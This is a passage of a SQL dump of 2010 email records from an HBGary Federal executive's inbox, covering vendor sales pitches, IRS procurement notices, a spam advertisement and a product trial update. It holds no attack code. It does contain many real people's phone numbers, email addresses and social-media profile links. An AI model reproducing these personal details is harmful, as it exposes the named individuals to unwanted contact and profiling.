testing','http://dsecrg.com/files/pub/pdf/Penetration_from_application_down_to_OS_(Oracle%20database).pdf\r\n-- Ted Vera  |  President  |  HBGary FederalOffice 916-459-4727x118  | Mobile 719-237-8623www.hbgary.com  |  ted@hbgary.com\r\n\r\n',13793,'aaron_hbgary_com/13793.html'),(10873,'2010-08-25','\"Sullivan, Mary\" <mary.sullivan@fidelissecurity.com>','/aaron@hbgary.com/new/1297008359.M532330P14101Q5728.eml','\"Barr Aaron\" <aaron@hbgary.com>','did you see this? link and attached','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nhttps://www.fbo.gov/spg/TREAS/IRS/NOPAP/TIRNO10TIRC\r\n/listing.html\r\n\r\n&nbsp;\r\n\r\nIRS\r\n\r\n&nbsp;\r\n\r\nThe Threat Incident Response\r\nCenter (TIRC) Response Team is comprised of staff from Physical Security &amp;\r\nEmergency Preparedness (PSEP), Treasury Inspector General Tax Administration\r\n(TIGTA), Criminal Investigation (CI) Division, Cyber Security (CSIRC), Office\r\nof Fraud Detection and Prevention (OFDP) and the Office of Employee Protection\r\n(OEP) to institute an inter-agency response team to develop emergency response\r\nprocedures during an IRS emergency situation. The tax administration system is\r\nof vital importance to the economy of the United States. As such, its\r\nprotection must be assured at all times. In order to provide adequate response\r\nand mitigation measures, it is necessary to develop sufficient incident\r\nresponse procedures that will ensure immediate and effective response measures\r\nduring critical incidents.&nbsp;\r\n\r\n\r\n\r\nThis Request for Information (RFI) is issued to\r\ninform prospective vendors of the IRS&#8217; contract support needs and to\r\nsolicit industry input/feedback on a new acquisition. Based in part on the\r\nfeedback received from this RFI, the IRS plans to issue a Request for Proposal\r\n(RFP) for the desired services during the 1st Quarter FY 2011. The IRS is not\r\nissuing this RFI to obtain general capabilities or sales presentations.&nbsp;\r\n\r\n\r\n\r\nThe Government is seeking input from industry to\r\nassist with formulation of a strategy to support the following goals associated\r\nwith a new medium for all incident and threat analysis:&nbsp;\r\n\r\n\r\n\r\nGoal 1: Survey the marketplace to determine if\r\nthere is current Commercial off the Shelf (COTS) products that will meet the\r\nGovernment&#8217;s requirements.\r\n\r\n\r\n\r\nGoal 2: Solicit feedback from the vendor community\r\non changes that would be beneficial to the existing SOW or acquisition\r\nstrategy.\r\n\r\n\r\n\r\nGoal 3: Determine the viability of pursuing this\r\nrequirement given technical and budgetary constraints.&nbsp;\r\n\r\n&nbsp;\r\n\r\nMary Sullivan | Federal Sales Manager | Fidelis Security\r\nSystems, Inc.\r\nD 240-396-2446 | M 301-980-1308 | mary.sullivan@fidelissecurity.com\r\n| www.fidelissecurity.com\r\n\r\n&nbsp;\r\n\r\nSee It | Study It | Stop It with Fidelis XPS:&nbsp; http://www.youtube.com/fidsecsys.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',6599,'aaron_hbgary_com/6599.html'),(10874,'2010-08-25','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008361.M414087P14101Q5730.eml','\"Ted Vera\" <ted@hbgary.com>,\"Mark Trynor\" <mark@hbgary.com>','profiles','http://www.linkedin.com/pub/holly-weber/24/464/734\r\nhttp://www.facebook.com/profile.php?id=100001555180221&ref=profile&v=info#!/?ref=home\r\n\r\n\r\n',16840,'aaron_hbgary_com/16840.html'),(10875,'2010-08-25','\"William Luti\" <wluti@digitalmanagement.com>','/aaron@hbgary.com/new/1297008361.M43457P14101Q5729.eml','\"Aaron Barr\" <aaron@hbgary.com>','GSA Schedule 70 - RFQ501575 - Enterprise Forensics and eDiscovery Product Implementation [Dept of the Treasury]','Aaron, forwarded just in case you might be interested. Bill\r\n------------------------------------------------------------\r\nRFQ ID: RFQ501575     \r\nRFQ Title: Enterprise Forensics and eDiscovery Product Implementation 	\r\nCategory: 70: 132 51\r\nRFQ Issue Date: 08/25/2010 11:28:19 AM EDT 	\r\nRFQ Close Date: 08/30/2010 12:00:00 PM EDT (Time Remaining: 4D 22H 7M)\r\nDelivery: Date of Award to Date of Completion\r\nDept/Agency: Department of the Treasury\r\n\r\nDescription: IRS MITS Cybersecurity Operations requires professional services to design, develop and implement the use of EnCase software here at the IRS. The IRS will require technical resources, general progect management and control, pre-implementation planning and general solution implementation\r\n\r\nOVERVIEW\r\n\r\nCybersecurity threat agents have employed more complex techniques to mask or conceal their activities through cloaking, encryption, or destruction techniques.  The typical incident response tools are no longer sufficient and will routinely require more in-depth forensic analysis of incident activity in order to facilitate root-cause analysis and enhance lessons learned to prevent re-occurrence.  This solution will provide the dedicated hardware, software, and processes to perform forensic investigations across the network more rapidly and against any/all affected assets. \r\n\r\nSCOPE\r\n\r\nThe scope of this Statement of Work (SOW) encompasses services rendered by the Guidance Software Professional Services Division to design, develop and implement the EnCase software packages at the Internal Revenue Service (IRS).  These packages include EnCase(r) Enterprise (EE), EnCase(r) eDiscovery (eD), and EnCase Cybersecurity (CS).  \r\n\r\nContact: TONYA YELDELL\r\nDepartment of the Treasury\r\ntonya.h.yeldell@irs.gov\r\n\r\nPlease see attached.\r\n\r\nRegards,\r\n\r\nTushar Phadke\r\nDigital Management Inc.\r\nWork: 630-444-7279\r\n',15968,'aaron_hbgary_com/15968.html'),(10876,'2010-08-25','\"Toby Richardson\" <tobyrich5@gmail.com>','/aaron@hbgary.com/new/1297008361.M684343P14101Q5731.eml','\"Aaron Barr\" <aaron@hbgary.com>','Join my network on LinkedIn','\r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n  LinkedIn\r\n\r\n            Toby Richardson has indicated you are a person they\'ve done business with at Fidelis Security Systems:\r\n\r\n  \r\n    I\'d like to add you to my professional network on LinkedIn.\r\n\r\n\r\n\r\n- Toby Richardson\r\n  \r\n\r\n  &nbsp;\r\n\r\n   \r\n     \r\n         \r\n           Accept\r\n         \r\n          \r\n               View invitation from Toby Richardson\r\n         \r\n     \r\n   \r\n  \r\n  \r\n  &nbsp;\r\n  \r\n\r\n\r\n\r\n\r\n\r\n\r\n  &#169; 2010, LinkedIn Corporation\r\n\r\n',13774,'aaron_hbgary_com/13774.html'),(10877,'2010-08-25','\"Richardson, Toby\" <toby.richardson@fidelissecurity.com>','/aaron@hbgary.com/new/1297008361.M907490P14101Q5732.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Fidelis','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n&nbsp;\r\n\r\nI have a follow up meeting with Experian on Monday.&nbsp; My hope\r\nwas to discuss with them the idea of an engagement by HB Gary Federal in\r\ncombination with using Fidelis.&nbsp; The below speaks more to using our\r\ncombined solutions.\r\n\r\n&nbsp;\r\n\r\nDo you have some thoughts on how I can position your services as\r\na unique ROI for Fidelis acquisition?\r\n\r\n&nbsp;\r\n\r\n-tr\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n++++++++++++++++++++++++++++++++++++++++++++++++\r\n\r\nDirector, West Region\r\n\r\n214.505.3136 \r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Friday, August 20, 2010 12:56 PM\r\nTo: Richardson, Toby\r\nSubject: Re: Fidelis\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nRgr thanks for the reminder Toby.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAttached is our datasheet that explains our focus on threat\r\nintelligence, incident response, and IO.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAs far as our partnership and combined capability goes this\r\nreally fits into incident response. &nbsp;All to often as security vendors we\r\ndevelop capability for the threat today and not the threat tomorrow. &nbsp;The\r\nbeautiful thing about HBGary AD and Fidelis XPS technology is it scales for\r\nfuture threats. &nbsp;How? &nbsp;Adversaries will continue to make security\r\nchallenging. &nbsp;They are like water and look for the path of least\r\nresistance, least energy expenditure. &nbsp;As our dams get bigger they will\r\nalways find ways around. &nbsp;Constant cycle. &nbsp;Adversary technologies to\r\nwatch out for, that we currently see even, encryption, traffic transfer to\r\nlegitimate hop points, even through large commercial infrastructures, embedded\r\ncontent. &nbsp;Malware that looks for mobile devices and egresses when the\r\ndevice is outside a corporate network (on a home or open network). &nbsp;Lots of\r\nthings that can be done to make things more difficult to catch, so you have to\r\nthink about the threat tomorrow.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nHows does HB and Fidelis solve this. &nbsp;By building a\r\nsolution that shortens the incident response timeline. &nbsp;You need to\r\nidentify and iradicate as quickly as possible and move on. &nbsp;The goal here\r\nis not clean systems, but mission assurance and business continuity, however\r\nthat can happen. &nbsp;So XPS analyzes on the wire and passes intelligence to\r\nAD to scan this box, take this action. &nbsp;Likewise, AD can find something\r\nembedded down in the environment and pass policy back to XPS to take this\r\naction, notify this person, etc. &nbsp;This combined with what we are working\r\non in the threat intelligence space, eventually you can develop indicators and\r\nwarning prior or at the beginning of an attack to block or mitigate an attack.\r\n&nbsp;The right policies are critical for XPS here to be ultimately successful\r\nin a current and future threat environment I think. &nbsp;There are too many\r\nthings an adversary can do with malware and egress.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nWhat am I missing?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',13331,'aaron_hbgary_com/13331.html'),(10878,'2010-08-25','\"Richardson, Toby\" <toby.richardson@fidelissecurity.com>','/aaron@hbgary.com/new/1297008362.M145289P14101Q5733.eml','\"Aaron Barr\" <aaron@hbgary.com>','SANS Event in LV on 9/19','\r\n\r\n\r\n\r\n\r\n\r\n\r\nv\\:* {behavior:url(#default#VML);}\r\no\\:* {behavior:url(#default#VML);}\r\nw\\:* {behavior:url(#default#VML);}\r\n.shape {behavior:url(#default#VML);}\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nSorry if this is repetitive, but I wanted to see if you\r\nwould be in LV for SANS next month.\r\n\r\n&nbsp;\r\n\r\n-tr\r\n\r\n&nbsp;\r\n\r\nToby Richardson\r\n\r\nDirector, Western Region\r\n\r\n&lt;&gt;&lt;&lt;&gt;&lt;&lt;&gt;&lt;&lt;&gt;&lt;&lt;&gt;&lt;&lt;&gt;&lt;&lt;&gt;&lt;&lt;&gt;&lt;&lt;&gt;&lt;&lt;&gt;&lt;&lt;&gt;&lt;&lt;&gt;&lt;&lt;&gt;&lt;&lt;&gt;&lt;&lt;&gt;&lt;&lt;&gt;&lt;&lt;&gt;&lt;&lt;&gt;&lt;&lt;&gt;&lt;&lt;&gt;&lt;&lt;&gt;&lt;&lt;&gt;&lt;&nbsp;\r\n\r\nFidelis Security\r\n\r\nDallas, Texas\r\n\r\nPhone:&nbsp; 214.505.3136\r\n\r\n&nbsp;\r\n\r\nhttp://www.fidelissecurity.com\r\n\r\n&nbsp;\r\n\r\nSee It in Action: Fidelis XPS&#8482; Latest\r\nThreat Migitation Features\r\n\r\nRead All About It:&nbsp; Fidelis XPS Prevents\r\nAdvanced Cyber Threats\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',3791,'aaron_hbgary_com/3791.html'),(10879,'2010-08-25','\"MacRAE\'S Blue Book\" <MacRAE_S_Blue_Book@mail.vresp.com>','/aaron@hbgary.com/new/1297008362.M463330P14101Q5734.eml','aaron@hbgary.com','Maximize your online presence - Advertise with MacRAE\'S','\r\n\r\n\r\n  \r\n  MacRAE\'s Blue Book - Get Listed: Be Found. Get Leads. Make Sales.\r\n  \r\n  body {\r\n  margin: 0;\r\n  padding: 0;\r\n  background-color: #ffffff;\r\n  }\r\n  td.permission {\r\n  padding: 20px 0 20px 0;\r\n  }\r\n  td.permission p {\r\n  font-family: arial,\'Lucida Grande\', sans-serif;\r\n  font-size: 10px;\r\n  font-weight: normal;\r\n  color: #151515;\r\n  }\r\n  td.permission p a {\r\n  font-family: \'Lucida Grande\', sans-serif;\r\n  font-size: 10px;\r\n  font-weight: normal;\r\n  color: #588FC7;\r\n  }\r\n  td.header {\r\n  background-image: url(\'email_header.jpg\');\r\n  background-repeat: no-repeat;\r\n  background-position: top center;\r\n  background-color: #b62e2e;\r\n  height: 80px;\r\n  }\r\n  td.header h1 {\r\n  font-family: Georgia, serif;\r\n  font-size: 30px;\r\n  font-weight: normal;\r\n  color: #333333;\r\n  margin-left: 50px;\r\n  margin-bottom: 24px;\r\n  }\r\n  table.content {\r\n  background-color: #f5f5f5;\r\n  }\r\n  td.sidebar a {\r\n  font-family: \'Lucida Grande\', sans-serif;\r\n  font-size: 11px;\r\n  font-weight: normal;\r\n  color: ##588FC7;\r\n  text-decoration: none;\r\n  }\r\n  td.sidebar ul {\r\n  margin: 0 0 0 24px;\r\n  padding: 0;\r\n  }\r\n  td.sidebar ul li,\r\n  td.sidebar ul li a {\r\n  font-family: \'Lucida Grande\', sans-serif;\r\n  font-size: 12px;\r\n  font-weight: normal;\r\n  color: ##588FC7;\r\n  }\r\n  td.border {\r\n  border-right: 2px solid #e0e0e0;\r\n  }\r\n  td.mainbar a {\r\n  font-family: arial,\'Lucida Grande\', sans-serif;\r\n  font-size: 12px;\r\n  font-weight: normal;\r\n  color: #588FC7;\r\n  text-decoration: none;\r\n  }\r\n  td.mainbar h2 {\r\n  font-family: arial,\'Lucida Grande\', sans-serif;\r\n  font-size: 16px;\r\n  font-weight: bold;\r\n  color: #55697D;\r\n  margin: 0 0 4px 0;\r\n  padding: 0 0 4px 0;\r\n  border-bottom: 1px solid #cbcbcb;\r\n  }\r\n  td.mainbar h3 {\r\n  font-family: Georgia, serif;\r\n  font-size: 16px;\r\n  font-weight: normal;\r\n  color: #333333;\r\n  margin: 10px 0 14px 0;\r\n  padding: 0;\r\n  }\r\n  td.mainbar p {\r\n  font-family: arial,\'Lucida Grande\', sans-serif;\r\n  font-size: 13px;\r\n  font-weight: normal;\r\n  color: #666666;\r\n  margin: 0 0 16px 0;\r\n  padding: 0;\r\n  }\r\n  td.mainbar p.top {\r\n  font-family: \'Lucida Grande\', sans-serif;\r\n  font-size: 10px;\r\n  font-weight: bold;\r\n  color: #41709c;\r\n  margin: 0 0 30px 0;\r\n  padding: 0;\r\n  }\r\n  td.mainbar p.top a {\r\n  font-family: \'Lucida Grande\', sans-serif;\r\n  font-size: 10px;\r\n  font-weight: bold;\r\n  color: #588FC7;\r\n  }\r\n  td.mainbar ul {\r\n  font-family: \'Lucida Grande\', sans-serif;\r\n  font-size: 12px;\r\n  font-weight: normal;\r\n  color: #333333;\r\n  margin: 0 0 20px 24px;\r\n  padding: 0;\r\n  }\r\n  td.footer {\r\n  padding: 20px 0 20px 0;\r\n  }\r\n  td.footer p {\r\n  font-family: \'Lucida Grande\', sans-serif;\r\n  font-size: 10px;\r\n  font-weight: normal;\r\n  color: #151515;\r\n  }\r\n  td.h4 {\r\n  font-family: \'Lucida Grande\', sans-serif;\r\n  font-size: 14px;\r\n  font-weight: bold;\r\n  }\r\n  .validation {\r\n  font-size: 14px;\r\n  font-weight: bold;\r\n  }\r\n  \r\n\r\n\r\n\r\n\r\n  \r\n    \r\n      \r\n      \r\n        \r\n          \r\n            \r\n          \r\n          \r\n            \r\n            \r\n            Maximize Your Online Presence\r\n            Top 5 Reasons Why Businesses Advertise With MacRAE\'S\r\n            \r\n            Be Found. Get Leads. Make Sales. \r\n            \r\n            \r\n          \r\n          \r\n            \r\n            \r\n              \r\n                \r\n                  \r\n                  \r\n                   \r\n                  \r\n                  \r\n                  \r\n                  Over 2.5 million monthly visitors are searching for your products and services \r\n                  \r\n                  Buyers come to our site every day searching for YOUR products and services. As an advertiser you&rsquo;ll appear near the top of all search returns on MacRAE&rsquo;S, maximizing your exposure. Don&rsquo;t miss out on opportunities to showcase your company to our user base, connect with your prospects! \r\n                  \r\n                  \r\n                \r\n                \r\n                  \r\n                  \r\n                   \r\n                  \r\n                  \r\n                  \r\n                  We deliver leads to you\r\n                  \r\n                  Buyers can quickly and easily connect directly to your website, they can view your corporate video on your MacRAE&rsquo;S profile page, call you, or send you a detailed RFQ (Request for Quotation) with their specific requirements. We deliver leads and new prospects; you focus on converting those leads and growing your business. \r\n                  \r\n                  \r\n                  &nbsp;\r\n                  \r\n                  \r\n                \r\n                \r\n                  \r\n                  \r\n                   \r\n                  \r\n                  \r\n                  \r\n                  Cost-effective online presence\r\n                  \r\n                  With programs starting at less than $100 a month MacRAE&rsquo;S offers the most cost effective online directory option&nbsp;in the marketplace. Online marketing can be like rocket science. We make it simple. We connect buyers to sellers. \r\n                  \r\n                  \r\n                  &nbsp;\r\n                  \r\n                  \r\n                \r\n                \r\n                  \r\n                  \r\n                   \r\n                  \r\n                  \r\n                  \r\n                  Data at your fingertips\r\n                  \r\n                  Our Activity Center is a simple and easy to use reporting dashboard that you can access 24/7. You can view up-to-date information in real-time about the performance of your program, download your sales leads, and view your Traffic Tracker report which tells you WHO is visiting your own website, and what pages are of interest to them. \r\n                  \r\n                  \r\n                  &nbsp;\r\n                  \r\n                  \r\n                \r\n                \r\n                  \r\n                  \r\n                   \r\n                  \r\n                  \r\n                  \r\n                  Our customer care and expertise \r\n                  \r\n                  Our sales professionals and customer care team are here to work with you for the duration of your program. Our live database allows you to make changes to your program &ldquo;on the fly&rdquo; and have them reflected LIVE on MacRAE&rsquo;S immediately. MacRAE&rsquo;S allows you to Be Found, Get Leads, Make Sales! \r\n                  \r\n                  \r\n                  \r\n                  \r\n                   \r\n                  \r\n                  \r\n                  \r\n                  \r\n                  Call us for a FREE DEMO: 1.800.206.6548 or email us: customerservice@macraesbluebook.com \r\n                  \r\n                  \r\n                  Having trouble viewing this email? View it in your browser \r\n                  \r\n                  \r\n                \r\n              \r\n            \r\n            \r\n          \r\n        \r\n      \r\n      \r\n        \r\n          \r\n            \r\n          \r\n        \r\n      \r\n      \r\n    \r\n  \r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\nIf you no longer wish to receive these emails, please reply to this message with \"Unsubscribe\" in the subject line or simply click on the following link: \r\nUnsubscribe\r\nClick here\r\n to forward this email to a friendMacRAE\'S Blue BookDiv. of Owen Media Partners Inc.2085 Hurontario Street, Suite 208Mississauga ON L5A 4G1Canada',15840,'aaron_hbgary_com/15840.html'),(10880,'2010-08-25','\"Lovegrove, John (TASC)\" <John.Lovegrove@tasc.com>','/aaron@hbgary.com/new/1297008362.M756728P14101Q5735.eml','\"Clair, Chris (TASC)\" <CHRISTOPHER.CLAIR@tasc.com>,\"Aaron Barr\" <aaron@hbgary.com>','FW: Thanks','\r\n\r\n\r\n\r\n\r\n\r\n\r\nv\\:* {behavior:url(#default#VML);}\r\no\\:* {behavior:url(#default#VML);}\r\nw\\:* {behavior:url(#default#VML);}\r\n.shape {behavior:url(#default#VML);}\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nDo we want to talk to Juniper on COIN?\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nJohn Lovegrove\r\n\r\nDirector\r\n\r\nOffice: (703) 449-3812\r\n\r\nCell: (571) 294-5154\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nTASC INTERNAL DISTRIBUTION ONLY\r\nThis e-mail, including attachments, is intended for the\r\nexclusive use of the person or entity to whom it is addressed and may contain\r\nconfidential or privileged information. If the reader of this e-mail is not the\r\nintended recipient or his or her authorized agent, the reader is hereby\r\nnotified that any dissemination, distribution or copying of this e-mail is\r\nprohibited. If you think that you have received this e-mail in error, please\r\nadvise the sender by reply e-mail of the error and then delete this e-mail\r\nimmediately.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Allan Assel\r\n[mailto:aassel@juniper.net] \r\nSent: Wednesday, August 25, 2010 4:13 PM\r\nTo: Lovegrove, John (TASC)\r\nSubject: Thanks\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nJohn,\r\n\r\n\r\n&nbsp;\r\n\r\nThanks\r\nfor hosting us today for the Breakfast Club. &nbsp;I had wanted to let you know\r\nthat Juniper just met with TASC to figure out how we can work together.\r\n&nbsp;Tony Dahbura is trying to see how we can establish a new relationship\r\nwith TASC as you are no longer part of NG. &nbsp;A couple of our VP’s (George\r\nHolland, VP BD and Carol Whitacre, VP Channel Partners) met with your CTO (Rich\r\nRosenthal) on Monday to discuss. &nbsp;(I wanted to mention this to you at the\r\nmeeting, but, didn’t get a chance to talk.)\r\n\r\n&nbsp;\r\n\r\nHope\r\nthings are going well, Allan.\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n....................................\r\n\r\nAllan J Assel\r\nIntelligence\r\nCommunity Business Development\r\n\r\n\r\n\r\no&nbsp;&nbsp;&nbsp;+1&nbsp;571 203 2688\r\nm &nbsp;+1&nbsp;703&nbsp;989 3651\r\nf&nbsp;&nbsp;&nbsp;&nbsp;+1&nbsp;571&nbsp;203 1790\r\naassel@juniper.net\r\nwww.juniper.net\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',1633,'aaron_hbgary_com/1633.html'),(10881,'2010-08-25','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008363.M20629P14101Q5736.eml','\"Lovegrove, John (TASC)\" <John.Lovegrove@tasc.com>,\"Lovegrove, John (TASC)\" <John.Lovegrove@tasc.com>','Re: Thanks','My opinion. &nbsp;Not really a need area.AaronOn Aug 25, 2010, at 4:24 PM, Lovegrove, John (TASC) wrote:Do we want to talk to Juniper on COIN?&nbsp;John LovegroveDirectorOffice: (703) 449-3812Cell: (571) 294-5154&nbsp;&lt;image001.png&gt;&nbsp;TASC INTERNAL DISTRIBUTION ONLYThis e-mail, including attachments, is intended for the exclusive use of the person or entity to whom it is addressed and may contain confidential or privileged information. If the reader of this e-mail is not the intended recipient or his or her authorized agent, the reader is hereby notified that any dissemination, distribution or copying of this e-mail is prohibited. If you think that you have received this e-mail in error, please advise the sender by reply e-mail of the error and then delete this e-mail immediately.&nbsp;From:&nbsp;Allan Assel [mailto:aassel@juniper.net]&nbsp;Sent:&nbsp;Wednesday, August 25, 2010 4:13 PMTo:&nbsp;Lovegrove, John (TASC)Subject:&nbsp;Thanks&nbsp;John,&nbsp;Thanks for hosting us today for the Breakfast Club. &nbsp;I had wanted to let you know that Juniper just met with TASC to figure out how we can work together. &nbsp;Tony Dahbura is trying to see how we can establish a new relationship with TASC as you are no longer part of NG. &nbsp;A couple of our VP’s (George Holland, VP BD and Carol Whitacre, VP Channel Partners) met with your CTO (Rich Rosenthal) on Monday to discuss. &nbsp;(I wanted to mention this to you at the meeting, but, didn’t get a chance to talk.)&nbsp;Hope things are going well, Allan.&nbsp;&nbsp;&nbsp;&nbsp;....................................Allan J AsselIntelligence Community Business Developmento&nbsp;&nbsp;&nbsp;+1&nbsp;571 203 2688m &nbsp;+1&nbsp;703&nbsp;989 3651f&nbsp;&nbsp;&nbsp;&nbsp;+1&nbsp;571&nbsp;203 1790aassel@juniper.netwww.juniper.net&nbsp;&nbsp;',1413,'aaron_hbgary_com/1413.html'),(10882,'2010-08-25','\"Clair, Chris (TASC)\" <CHRISTOPHER.CLAIR@tasc.com>','/aaron@hbgary.com/new/1297008363.M356626P14101Q5737.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Lovegrove, John (TASC)\" <John.Lovegrove@tasc.com>','RE: Thanks','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nI agree.&nbsp; We don&#8217;t necessarily need a HW vendor on\r\nthe team.\r\n\r\n&nbsp;\r\n\r\nChris \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Wednesday, August 25, 2010 4:26 PM\r\nTo: Lovegrove, John (TASC)\r\nCc: Clair, Chris (TASC)\r\nSubject: Re: Thanks\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nMy opinion. &nbsp;Not really a need area.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Aug 25, 2010, at 4:24 PM, Lovegrove, John (TASC) wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nDo we want to talk to Juniper on COIN?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nJohn Lovegrove\r\n\r\n\r\n\r\n\r\n\r\nDirector\r\n\r\n\r\n\r\n\r\n\r\nOffice: (703) 449-3812\r\n\r\n\r\n\r\n\r\n\r\nCell: (571) 294-5154\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&lt;image001.png&gt;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nTASC INTERNAL DISTRIBUTION ONLY\r\nThis e-mail, including attachments, is intended for the\r\nexclusive use of the person or entity to whom it is addressed and may contain\r\nconfidential or privileged information. If the reader of this e-mail is not the\r\nintended recipient or his or her authorized agent, the reader is hereby\r\nnotified that any dissemination, distribution or copying of this e-mail is\r\nprohibited. If you think that you have received this e-mail in error, please advise\r\nthe sender by reply e-mail of the error and then delete this e-mail immediately.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Allan Assel\r\n[mailto:aassel@juniper.net]&nbsp;\r\nSent:&nbsp;Wednesday, August\r\n25, 2010 4:13 PM\r\nTo:&nbsp;Lovegrove, John (TASC)\r\nSubject:&nbsp;Thanks\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nJohn,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThanks\r\nfor hosting us today for the Breakfast Club. &nbsp;I had wanted to let you know\r\nthat Juniper just met with TASC to figure out how we can work together.\r\n&nbsp;Tony Dahbura is trying to see how we can establish a new relationship\r\nwith TASC as you are no longer part of NG. &nbsp;A couple of our VP&#8217;s\r\n(George Holland, VP BD and Carol Whitacre, VP Channel Partners) met with your\r\nCTO (Rich Rosenthal) on Monday to discuss. &nbsp;(I wanted to mention this to\r\nyou at the meeting, but, didn&#8217;t get a chance to talk.)\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nHope\r\nthings are going well, Allan.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n....................................\r\n\r\nAllan J Assel\r\nIntelligence\r\nCommunity Business Development\r\n\r\no&nbsp;&nbsp;&nbsp;+1&nbsp;571 203 2688\r\nm &nbsp;+1&nbsp;703&nbsp;989 3651\r\nf&nbsp;&nbsp;&nbsp;&nbsp;+1&nbsp;571&nbsp;203 1790\r\naassel@juniper.net\r\nwww.juniper.net\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',11903,'aaron_hbgary_com/11903.html'),(10883,'2010-08-25','\"Maria Lucas\" <maria@hbgary.com>','/aaron@hbgary.com/new/1297008363.M555037P14101Q5738.eml','\"Penny C. Hoglund\" <penny@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','Re: HBGary -- scheduling next meeting','See email below from Brian Christos -- we are on track and meeting his expectationsOn Wed, Aug 25, 2010 at 12:45 PM, Christos, Brian N. &lt;Brian_N._Christos@oa.eop.gov&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\nMaria,\r\n\r\nYes we definitely are on track to complete this by Sept 9.  There have been a few minor bumps in the road but overall the install and set up has been quick and smooth.  \r\n\r\nCurrently, AD is deployed with a number of agents on hosts.  I have DNS scores but now I have a number of questions on how to most effectively use the product.  I’ve white listed a known good process that had a high score and I’m looking at what else might be helpful to white list too.  I’ve pulled back a number of files that looked suspicious but I haven’t loaded them into Responder yet.  I’m not exactly sure how to add more users to the system.\r\n\r\n\r\nMonday I would like to figure out how best to use the AD product in our environment so that we all can get the most out of it in a efficient ant manner.\r\n\r\nBrian\r\n\r\n\r\nOn 8/25/10 2:40 PM, &quot;Maria Lucas&quot; &lt;maria@hbgary.com&gt; wrote:\r\n\r\nHi Brian\r\n\r\nGreat to hear!\r\n\r\nCan you tell me what you expect to accomplish on Monday specifically, and for the remainder of the POC? Also, do you believe we are on track time-wise to complete the POC by September 9th?  \r\n\r\nMaria\r\n\r\nOn Wed, Aug 25, 2010 at 11:24 AM, Christos, Brian N. 